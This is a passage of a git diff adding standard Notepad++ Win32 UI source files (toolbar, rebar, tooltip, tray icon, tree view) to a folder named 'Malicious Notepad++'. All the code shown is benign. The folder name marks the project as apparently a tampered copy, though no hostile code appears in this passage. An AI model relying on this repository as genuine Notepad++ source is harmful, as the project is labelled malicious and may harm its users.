+ HIWORD(padding) - 3; + return totalHeight; +} + +void ToolBar::reduce() +{ + if (_state == TB_SMALL) + return; + + int iconDpiDynamicalSize = NppParameters::getInstance()->_dpiManager.scaleX(16); + _toolBarIcons.resizeIcon(iconDpiDynamicalSize); + bool recreate = (_state == TB_STANDARD || _state == TB_LARGE); + setState(TB_SMALL); + reset(recreate); //recreate toolbar if previous state was Std icons or Big icons + Window::redraw(); +} + +void ToolBar::enlarge() +{ + if (_state == TB_LARGE) + return; + + int iconDpiDynamicalSize = NppParameters::getInstance()->_dpiManager.scaleX(32); + _toolBarIcons.resizeIcon(iconDpiDynamicalSize); + bool recreate = (_state == TB_STANDARD || _state == TB_SMALL); + setState(TB_LARGE); + reset(recreate); //recreate toolbar if previous state was Std icons or Small icons + Window::redraw(); +} + +void ToolBar::setToUglyIcons() +{ + if (_state == TB_STANDARD) + return; + bool recreate = true; + setState(TB_STANDARD); + reset(recreate); //must recreate toolbar if setting to internal bitmaps + Window::redraw(); +} + + +void ToolBar::reset(bool create) +{ + + if(create && _hSelf) { + //Store current button state information + TBBUTTON tempBtn; + for(size_t i = 0; i < _nbCurrentButtons; ++i) + { + ::SendMessage(_hSelf, TB_GETBUTTON, i, reinterpret_cast(&tempBtn)); + _pTBB[i].fsState = tempBtn.fsState; + } + ::DestroyWindow(_hSelf); + _hSelf = NULL; + } + + if(!_hSelf) + { + _hSelf = ::CreateWindowEx( + WS_EX_PALETTEWINDOW, + TOOLBARCLASSNAME, + TEXT(""), + WS_TOOLBARSTYLE, + 0, 0, + 0, 0, + _hParent, + NULL, + _hInst, + 0); + // Send the TB_BUTTONSTRUCTSIZE message, which is required for + // backward compatibility. + ::SendMessage(_hSelf, TB_BUTTONSTRUCTSIZE, sizeof(TBBUTTON), 0); + ::SendMessage(_hSelf, TB_SETEXTENDEDSTYLE, 0, TBSTYLE_EX_HIDECLIPPEDBUTTONS); + } + + if (!_hSelf) + { + throw std::runtime_error("ToolBar::reset : CreateWindowEx() function return null"); + } + + if (_state != TB_STANDARD) + { + //If non standard icons, use custom imagelists + setDefaultImageList(); + setHotImageList(); + setDisableImageList(); + } + else + { + //Else set the internal imagelist with standard bitmaps + int iconDpiDynamicalSize = NppParameters::getInstance()->_dpiManager.scaleX(16);; + ::SendMessage(_hSelf, TB_SETBITMAPSIZE, 0, MAKELPARAM(iconDpiDynamicalSize, iconDpiDynamicalSize)); + + //TBADDBITMAP addbmp = {_hInst, 0}; + TBADDBITMAP addbmp = {0, 0}; + TBADDBITMAP addbmpdyn = {0, 0}; + for (size_t i = 0 ; i < _nbButtons ; ++i) + { + int icoID = _toolBarIcons.getStdIconAt(static_cast(i)); + HBITMAP hBmp = static_cast(::LoadImage(_hInst, MAKEINTRESOURCE(icoID), IMAGE_BITMAP, iconDpiDynamicalSize, iconDpiDynamicalSize, LR_LOADMAP3DCOLORS | LR_LOADTRANSPARENT)); + addbmp.nID = reinterpret_cast(hBmp); + + //addbmp.nID = _toolBarIcons.getStdIconAt(i); + ::SendMessage(_hSelf, TB_ADDBITMAP, 1, reinterpret_cast(&addbmp)); + } + if (_nbDynButtons > 0) + { + for (size_t j = 0; j < _nbDynButtons; ++j) + { + addbmpdyn.nID = reinterpret_cast(_vDynBtnReg.at(j).hBmp); + ::SendMessage(_hSelf, TB_ADDBITMAP, 1, reinterpret_cast(&addbmpdyn)); + } + } + } + + if (create) + { //if the toolbar has been recreated, readd the buttons + size_t nbBtnToAdd = (_state == TB_STANDARD?_nbTotalButtons:_nbButtons); + _nbCurrentButtons = nbBtnToAdd; + WORD btnSize = (_state == TB_LARGE?32:16); + ::SendMessage(_hSelf, TB_SETBUTTONSIZE , 0, MAKELONG(btnSize, btnSize)); + ::SendMessage(_hSelf, TB_ADDBUTTONS, nbBtnToAdd, reinterpret_cast(_pTBB)); + } + ::SendMessage(_hSelf, TB_AUTOSIZE, 0, 0); + + if (_pRebar) + { + _rbBand.hwndChild = getHSelf(); + _rbBand.cxMinChild = 0; + _rbBand.cyIntegral = 1; + _rbBand.cyMinChild = _rbBand.cyMaxChild = getHeight(); + _rbBand.cxIdeal = getWidth(); + + _pRebar->reNew(REBAR_BAR_TOOLBAR, &_rbBand); + } +} + +void ToolBar::registerDynBtn(UINT messageID, toolbarIcons* tIcon) +{ + // Note: Register of buttons only possible before init! + if ((_hSelf == NULL) && (messageID != 0) && (tIcon->hToolbarBmp != NULL)) + { + tDynamicList dynList; + dynList.message = messageID; + dynList.hBmp = tIcon->hToolbarBmp; + dynList.hIcon = tIcon->hToolbarIcon; + _vDynBtnReg.push_back(dynList); + } +} + +void ToolBar::doPopop(POINT chevPoint) +{ + //first find hidden buttons + int width = Window::getWidth(); + + size_t start = 0; + RECT btnRect = {0,0,0,0}; + while(start < _nbCurrentButtons) + { + ::SendMessage(_hSelf, TB_GETITEMRECT, start, reinterpret_cast(&btnRect)); + if(btnRect.right > width) + break; + ++start; + } + + if (start < _nbCurrentButtons) + { //some buttons are hidden + HMENU menu = ::CreatePopupMenu(); + generic_string text; + while (start < _nbCurrentButtons) + { + int cmd = _pTBB[start].idCommand; + getNameStrFromCmd(cmd, text); + if (_pTBB[start].idCommand != 0) + { + if (::SendMessage(_hSelf, TB_ISBUTTONENABLED, cmd, 0) != 0) + AppendMenu(menu, MF_ENABLED, cmd, text.c_str()); + else + AppendMenu(menu, MF_DISABLED|MF_GRAYED, cmd, text.c_str()); + } else + AppendMenu(menu, MF_SEPARATOR, 0, TEXT("")); + + ++start; + } + TrackPopupMenu(menu, 0, chevPoint.x, chevPoint.y, 0, _hSelf, NULL); + } +} + +void ToolBar::addToRebar(ReBar * rebar) +{ + if (_pRebar) + return; + _pRebar = rebar; + ZeroMemory(&_rbBand, REBARBAND_SIZE); + _rbBand.cbSize = REBARBAND_SIZE; + + + _rbBand.fMask = RBBIM_STYLE | RBBIM_CHILD | RBBIM_CHILDSIZE | + RBBIM_SIZE | RBBIM_IDEALSIZE | RBBIM_ID; + + _rbBand.fStyle = RBBS_VARIABLEHEIGHT | RBBS_USECHEVRON | RBBS_NOGRIPPER; + _rbBand.hwndChild = getHSelf(); + _rbBand.wID = REBAR_BAR_TOOLBAR; //ID REBAR_BAR_TOOLBAR for toolbar + _rbBand.cxMinChild = 0; + _rbBand.cyIntegral = 1; + _rbBand.cyMinChild = _rbBand.cyMaxChild = getHeight(); + _rbBand.cxIdeal = _rbBand.cx = getWidth(); + + _pRebar->addBand(&_rbBand, true); + + _rbBand.fMask = RBBIM_CHILD | RBBIM_CHILDSIZE | RBBIM_IDEALSIZE | RBBIM_SIZE; +} + +void ReBar::init(HINSTANCE hInst, HWND hPere) +{ + Window::init(hInst, hPere); + + _hSelf = CreateWindowEx(WS_EX_TOOLWINDOW, + REBARCLASSNAME, + NULL, + WS_CHILD|WS_VISIBLE|WS_CLIPSIBLINGS|WS_CLIPCHILDREN|RBS_VARHEIGHT| + RBS_BANDBORDERS | CCS_NODIVIDER | CCS_NOPARENTALIGN, + 0,0,0,0, _hParent, NULL, _hInst, NULL); + + REBARINFO rbi; + ZeroMemory(&rbi, sizeof(REBARINFO)); + rbi.cbSize = sizeof(REBARINFO); + rbi.fMask = 0; + rbi.himl = (HIMAGELIST)NULL; + ::SendMessage(_hSelf, RB_SETBARINFO, 0, reinterpret_cast(&rbi)); +} + +bool ReBar::addBand(REBARBANDINFO * rBand, bool useID) +{ + if (rBand->fMask & RBBIM_STYLE) + { + if (!(rBand->fStyle & RBBS_NOGRIPPER)) + rBand->fStyle |= RBBS_GRIPPERALWAYS; + } + else + rBand->fStyle = RBBS_GRIPPERALWAYS; + rBand->fMask |= RBBIM_ID | RBBIM_STYLE; + if (useID) { + if (isIDTaken(rBand->wID)) + return false; + + } else { + rBand->wID = getNewID(); + } + ::SendMessage(_hSelf, RB_INSERTBAND, static_cast(-1), reinterpret_cast(rBand)); //add to end of list + return true; +} + +void ReBar::reNew(int id, REBARBANDINFO * rBand) +{ + auto index = SendMessage(_hSelf, RB_IDTOINDEX, id, 0); + ::SendMessage(_hSelf, RB_SETBANDINFO, index, reinterpret_cast(rBand)); +}; + +void ReBar::removeBand(int id) +{ + auto index = SendMessage(_hSelf, RB_IDTOINDEX, id, 0); + if (id >= REBAR_BAR_EXTERNAL) + releaseID(id); + ::SendMessage(_hSelf, RB_DELETEBAND, index, 0); +} + +void ReBar::setIDVisible(int id, bool show) +{ + auto index = SendMessage(_hSelf, RB_IDTOINDEX, id, 0); + if (index == -1 ) + return; //error + + REBARBANDINFO rbBand; + ZeroMemory(&rbBand, REBARBAND_SIZE); + rbBand.cbSize = REBARBAND_SIZE; + + + rbBand.fMask = RBBIM_STYLE; + ::SendMessage(_hSelf, RB_GETBANDINFO, index, reinterpret_cast(&rbBand)); + if (show) + rbBand.fStyle &= (RBBS_HIDDEN ^ -1); + else + rbBand.fStyle |= RBBS_HIDDEN; + ::SendMessage(_hSelf, RB_SETBANDINFO, index, reinterpret_cast(&rbBand)); +} + +bool ReBar::getIDVisible(int id) +{ + auto index = SendMessage(_hSelf, RB_IDTOINDEX, id, 0); + if (index == -1 ) + return false; //error + REBARBANDINFO rbBand; + ZeroMemory(&rbBand, REBARBAND_SIZE); + rbBand.cbSize = REBARBAND_SIZE; + + rbBand.fMask = RBBIM_STYLE; + ::SendMessage(_hSelf, RB_GETBANDINFO, index, reinterpret_cast(&rbBand)); + return ((rbBand.fStyle & RBBS_HIDDEN) == 0); +} + + +void ReBar::setGrayBackground(int id) +{ + auto index = SendMessage(_hSelf, RB_IDTOINDEX, id, 0); + if (index == -1 ) + return; //error + REBARBANDINFO rbBand; + ZeroMemory(&rbBand, REBARBAND_SIZE); + rbBand.cbSize = REBARBAND_SIZE; + rbBand.fMask = RBBIM_BACKGROUND; + rbBand.hbmBack = LoadBitmap((HINSTANCE)::GetModuleHandle(NULL), MAKEINTRESOURCE(IDB_INCREMENTAL_BG)); + ::SendMessage(_hSelf, RB_SETBANDINFO, index, reinterpret_cast(&rbBand)); +} + +int ReBar::getNewID() +{ + int idToUse = REBAR_BAR_EXTERNAL; + size_t size = usedIDs.size(); + for(size_t i = 0; i < size; ++i) + { + int curVal = usedIDs.at(i); + if (curVal < idToUse) + { + continue; + } + else if (curVal == idToUse) + { + ++idToUse; + } + else + { + break; //found gap + } + } + + usedIDs.push_back(idToUse); + return idToUse; +} + +void ReBar::releaseID(int id) +{ + size_t size = usedIDs.size(); + for(size_t i = 0; i < size; ++i) + { + if (usedIDs.at(i) == id) + { + usedIDs.erase(usedIDs.begin()+i); + break; + } + } +} + +bool ReBar::isIDTaken(int id) +{ + size_t size = usedIDs.size(); + for(size_t i = 0; i < size; ++i) + { + if (usedIDs.at(i) == id) + { + return true; + } + } + return false; +} + diff --git a/Malicious Notepad++/src/WinControls/ToolBar/ToolBar.h b/Malicious Notepad++/src/WinControls/ToolBar/ToolBar.h new file mode 100644 index 0000000..fd8f91f --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ToolBar/ToolBar.h @@ -0,0 +1,178 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef TOOL_BAR_H +#define TOOL_BAR_H + +#include "Common.h" +#include "Window.h" +#include "Notepad_plus_msgs.h" +#include "ImageListSet.h" + +#define REBAR_BAR_TOOLBAR 0 +#define REBAR_BAR_SEARCH 1 + +#define REBAR_BAR_EXTERNAL 10 +#ifndef _WIN32_IE +#define _WIN32_IE 0x0600 +#endif //_WIN32_IE + +enum toolBarStatusType {TB_SMALL, TB_LARGE, TB_STANDARD}; + + +typedef struct { + UINT message; // identification of icon in tool bar (menu ID) + HBITMAP hBmp; // bitmap for toolbar + HICON hIcon; // icon for toolbar +} tDynamicList; + +struct iconLocator { + int listIndex; + int iconIndex; + generic_string iconLocation; + + iconLocator(int iList, int iIcon, const generic_string iconLoc) + : listIndex(iList), iconIndex(iIcon), iconLocation(iconLoc){}; +}; + +class ReBar; +class TiXmlDocument; +class TiXmlNode; + +class ToolBar : public Window +{ +public : + ToolBar():Window() {}; + virtual ~ToolBar(){}; + + void initTheme(TiXmlDocument *toolIconsDocRoot); + virtual bool init(HINSTANCE hInst, HWND hPere, toolBarStatusType type, + ToolBarButtonUnit *buttonUnitArray, int arraySize); + + virtual void destroy(); + void enable(int cmdID, bool doEnable) const { + ::SendMessage(_hSelf, TB_ENABLEBUTTON, cmdID, static_cast(doEnable)); + }; + + int getWidth() const; + int getHeight() const; + + void reduce(); + void enlarge(); + void setToUglyIcons(); + + bool getCheckState(int ID2Check) const { + return bool(::SendMessage(_hSelf, TB_GETSTATE, ID2Check, 0) & TBSTATE_CHECKED); + }; + + void setCheck(int ID2Check, bool willBeChecked) const { + ::SendMessage(_hSelf, TB_CHECKBUTTON, ID2Check, MAKELONG(willBeChecked, 0)); + }; + + toolBarStatusType getState() const { + return _state; + }; + + bool changeIcons() { + if (!_toolIcons) + return false; + for (size_t i = 0, len = _customIconVect.size(); i < len; ++i) + changeIcons(_customIconVect[i].listIndex, _customIconVect[i].iconIndex, (_customIconVect[i].iconLocation).c_str()); + return true; + }; + + bool changeIcons(int whichLst, int iconIndex, const TCHAR *iconLocation){ + return _toolBarIcons.replaceIcon(whichLst, iconIndex, iconLocation); + }; + + void registerDynBtn(UINT message, toolbarIcons* hBmp); + + void doPopop(POINT chevPoint); //show the popup if buttons are hidden + + void addToRebar(ReBar * rebar); + +private : + TBBUTTON *_pTBB = nullptr; + ToolBarIcons _toolBarIcons; + toolBarStatusType _state = TB_SMALL; + std::vector _vDynBtnReg; + size_t _nbButtons = 0; + size_t _nbDynButtons = 0; + size_t _nbTotalButtons = 0; + size_t _nbCurrentButtons = 0; + ReBar * _pRebar = nullptr; + REBARBANDINFO _rbBand; + std::vector _customIconVect; + TiXmlNode *_toolIcons = nullptr; + + void setDefaultImageList() { + ::SendMessage(_hSelf, TB_SETIMAGELIST, 0, reinterpret_cast(_toolBarIcons.getDefaultLst())); + }; + void setHotImageList() { + ::SendMessage(_hSelf, TB_SETHOTIMAGELIST, 0, reinterpret_cast(_toolBarIcons.getHotLst())); + }; + void setDisableImageList() { + ::SendMessage(_hSelf, TB_SETDISABLEDIMAGELIST, 0, reinterpret_cast(_toolBarIcons.getDisableLst())); + }; + + void reset(bool create = false); + void setState(toolBarStatusType state) { + _state = state; + } + +}; + +class ReBar : public Window +{ +public : + ReBar():Window() { usedIDs.clear(); }; + + virtual void destroy() { + ::DestroyWindow(_hSelf); + _hSelf = NULL; + usedIDs.clear(); + }; + + void init(HINSTANCE hInst, HWND hPere); + bool addBand(REBARBANDINFO * rBand, bool useID); //useID true if ID from info should be used (false for plugins). wID in bandinfo will be set to used ID + void reNew(int id, REBARBANDINFO * rBand); //wID from bandinfo is used for update + void removeBand(int id); + + void setIDVisible(int id, bool show); + bool getIDVisible(int id); + void setGrayBackground(int id); + +private: + std::vector usedIDs; + + int getNewID(); + void releaseID(int id); + bool isIDTaken(int id); +}; + +#endif // TOOL_BAR_H diff --git a/Malicious Notepad++/src/WinControls/ToolTip/ToolTip.cpp b/Malicious Notepad++/src/WinControls/ToolTip/ToolTip.cpp new file mode 100644 index 0000000..9f99653 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ToolTip/ToolTip.cpp @@ -0,0 +1,87 @@ +// This file is part of Notepad++ project +// Copyright (C)2017 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include +#include "ToolTip.h" + +void ToolTip::init(HINSTANCE hInst, HWND hParent) +{ + if (_hSelf == NULL) + { + Window::init(hInst, hParent); + + _hSelf = CreateWindowEx( 0, TOOLTIPS_CLASS, NULL, WS_POPUP | TTS_NOPREFIX | TTS_ALWAYSTIP, + CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL ); + if (!_hSelf) + { + throw std::runtime_error("ToolTip::init : CreateWindowEx() function return null"); + } + + ::SetWindowLongPtr(_hSelf, GWLP_USERDATA, reinterpret_cast(this)); + _defaultProc = reinterpret_cast(::SetWindowLongPtr(_hSelf, GWLP_WNDPROC, reinterpret_cast(staticWinProc))); + } +} + + +void ToolTip::Show(RECT rectTitle, const TCHAR * pszTitle, int iXOff, int iWidthOff) +{ + if (isVisible()) + destroy(); + + if (lstrlen(pszTitle) == 0) + return; + + // INITIALIZE MEMBERS OF THE TOOLINFO STRUCTURE + _ti.cbSize = sizeof(TOOLINFO); + _ti.uFlags = TTF_TRACK | TTF_ABSOLUTE; + _ti.hwnd = ::GetParent(_hParent); + _ti.hinst = _hInst; + _ti.uId = 0; + + _ti.rect.left = rectTitle.left; + _ti.rect.top = rectTitle.top; + _ti.rect.right = rectTitle.right; + _ti.rect.bottom = rectTitle.bottom; + + HFONT _hFont = (HFONT)::SendMessage(_hParent, WM_GETFONT, 0, 0); + ::SendMessage(_hSelf, WM_SETFONT, reinterpret_cast(_hFont), TRUE); + + // Bleuargh... const_cast. Will have to do for now. + _ti.lpszText = const_cast(pszTitle); + ::SendMessage(_hSelf, TTM_ADDTOOL, 0, reinterpret_cast(&_ti)); + ::SendMessage(_hSelf, TTM_TRACKPOSITION, 0, MAKELONG(_ti.rect.left + iXOff, _ti.rect.top + iWidthOff)); + ::SendMessage(_hSelf, TTM_TRACKACTIVATE, true, reinterpret_cast(&_ti)); +} + + +LRESULT ToolTip::runProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + return ::CallWindowProc(_defaultProc, _hSelf, message, wParam, lParam); +} + diff --git a/Malicious Notepad++/src/WinControls/ToolTip/ToolTip.h b/Malicious Notepad++/src/WinControls/ToolTip/ToolTip.h new file mode 100644 index 0000000..7524430 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ToolTip/ToolTip.h @@ -0,0 +1,63 @@ +// This file is part of Notepad++ project +// Copyright (C)2017 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include +#include +#include "Window.h" + +class ToolTip : public Window +{ +public : + ToolTip() {}; + + void destroy(){ + ::DestroyWindow(_hSelf); + _hSelf = NULL; + }; + +// Attributes +public: + +// Implementation +public: + virtual void init(HINSTANCE hInst, HWND hParent); + void Show(RECT rectTitle, const TCHAR* pszTitleText, int iXOff = 0, int iWidthOff = 0); + +protected: + WNDPROC _defaultProc = nullptr; + BOOL _bTrackMouse = FALSE; + TOOLINFO _ti; + + static LRESULT CALLBACK staticWinProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) { + return (((ToolTip *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)))->runProc(Message, wParam, lParam)); + }; + LRESULT runProc(UINT Message, WPARAM wParam, LPARAM lParam); +}; + diff --git a/Malicious Notepad++/src/WinControls/TrayIcon/trayIconControler.cpp b/Malicious Notepad++/src/WinControls/TrayIcon/trayIconControler.cpp new file mode 100644 index 0000000..b34af62 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TrayIcon/trayIconControler.cpp @@ -0,0 +1,54 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "trayIconControler.h" + +trayIconControler::trayIconControler(HWND hwnd, UINT uID, UINT uCBMsg, HICON hicon, TCHAR *tip) +{ + _nid.cbSize = sizeof(_nid); + _nid.hWnd = hwnd; + _nid.uID = uID; + _nid.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP; + _nid.uCallbackMessage = uCBMsg; + _nid.hIcon = hicon; + lstrcpy(_nid.szTip, tip); + + ::RegisterWindowMessage(TEXT("TaskbarCreated")); + _isIconShowed = false; +} + +int trayIconControler::doTrayIcon(DWORD op) +{ + if ((op != ADD)&&(op != REMOVE)) return INCORRECT_OPERATION; + if (((_isIconShowed)&&(op == ADD))||((!_isIconShowed)&&(op == REMOVE))) + return OPERATION_INCOHERENT; + ::Shell_NotifyIcon(op, &_nid); + _isIconShowed = !_isIconShowed; + + return 0; +} diff --git a/Malicious Notepad++/src/WinControls/TrayIcon/trayIconControler.h b/Malicious Notepad++/src/WinControls/TrayIcon/trayIconControler.h new file mode 100644 index 0000000..bfaf436 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TrayIcon/trayIconControler.h @@ -0,0 +1,53 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef TRAY_ICON_CONTROLER_H +#define TRAY_ICON_CONTROLER_H + +#include + +#define ADD NIM_ADD +#define REMOVE NIM_DELETE + +// code d'erreur +#define INCORRECT_OPERATION 1 +#define OPERATION_INCOHERENT 2 + +class trayIconControler +{ +public: + trayIconControler(HWND hwnd, UINT uID, UINT uCBMsg, HICON hicon, TCHAR *tip); + int doTrayIcon(DWORD op); + bool isInTray() const {return _isIconShowed;}; + +private: + NOTIFYICONDATA _nid; + bool _isIconShowed; +}; + +#endif //TRAY_ICON_CONTROLER_H diff --git a/Malicious Notepad++/src/WinControls/TreeView/TreeView.cpp b/Malicious Notepad++/src/WinControls/TreeView/TreeView.cpp new file mode 100644 index 0000000..1585629 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TreeView/TreeView.cpp @@ -0,0 +1,84 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "TreeView.h" + +HTREEITEM TreeView::insertTo(HTREEITEM parent, TCHAR *itemStr, int imgIndex) +{ + TV_INSERTSTRUCT tvinsert; + tvinsert.hParent=parent; + tvinsert.hInsertAfter=parent?TVI_LAST:TVI_ROOT; + tvinsert.item.mask=TVIF_TEXT|TVIF_IMAGE|TVIF_SELECTEDIMAGE; + tvinsert.item.pszText=itemStr; + tvinsert.item.iImage=imgIndex; + tvinsert.item.iSelectedImage=0; + return (HTREEITEM)::SendMessage(_hSelf, TVM_INSERTITEM, 0, (LPARAM)&tvinsert); +} + +void TreeView::init(HINSTANCE hInst, HWND pere) +{ + Window::init(hInst, pere); + InitCommonControls(); + + HTREEITEM Parent; // Tree item handle + HTREEITEM Before; // ....... + HTREEITEM Root; + + // Get the dimensions of the parent window's client area, and create + // the tree-view control. + + _hSelf = CreateWindowEx(0, + WC_TREEVIEW, + TEXT("Tree View"), + WS_VISIBLE | WS_CHILD | WS_BORDER | + TVS_HASLINES | TVS_HASBUTTONS | TVS_SHOWSELALWAYS , + 0, 0, 0, 0, + _hParent, + NULL, + _hInst, + NULL); + + if (!_hSelf) + throw int(56); + + Parent = insertTo(NULL, TEXT("MAOCS30 Command"), 0); + Root=Parent; + Before=Parent; + + Parent = insertTo(Parent, TEXT("Native command"), 0); + insertTo(Parent, TEXT("Power On"), 0); + insertTo(Parent, TEXT("Power off"), 0); + insertTo(Parent, TEXT("Entrant"), 0); + insertTo(Parent, TEXT("Sortant"), 0); + Parent = insertTo(Before, TEXT("Macro"), 0); + insertTo(Parent, TEXT("ChangeCode"), 0); + insertTo(Parent, TEXT("CipherData"), 0); + + insertTo(NULL, TEXT("Bla bla bla bla..."), 0); + //display(); +} \ No newline at end of file diff --git a/Malicious Notepad++/src/WinControls/TreeView/TreeView.h b/Malicious Notepad++/src/WinControls/TreeView/TreeView.h new file mode 100644 index 0000000..f5d291f --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TreeView/TreeView.h @@ -0,0 +1,55 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef TREE_VIEW_H +#define TREE_VIEW_H + +#include +#include "Window.h" + +#ifndef _WIN32_IE +#define _WIN32_IE 0x0600 +#endif //_WIN32_IE + +#include + +class TreeView : public Window +{ +public : + TreeView(){}; + ~TreeView(){}; + virtual void init(HINSTANCE hInst, HWND pere); + virtual void destroy() { + ::DestroyWindow(_hSelf); + }; + +private : + HTREEITEM insertTo(HTREEITEM parent, TCHAR *itemStr, int imgIndex); +}; + +#endif \ No newline at end of file diff --git a/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.cpp b/Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.cpp new file mode 100644 index 0000000..cfdb0a4 --- 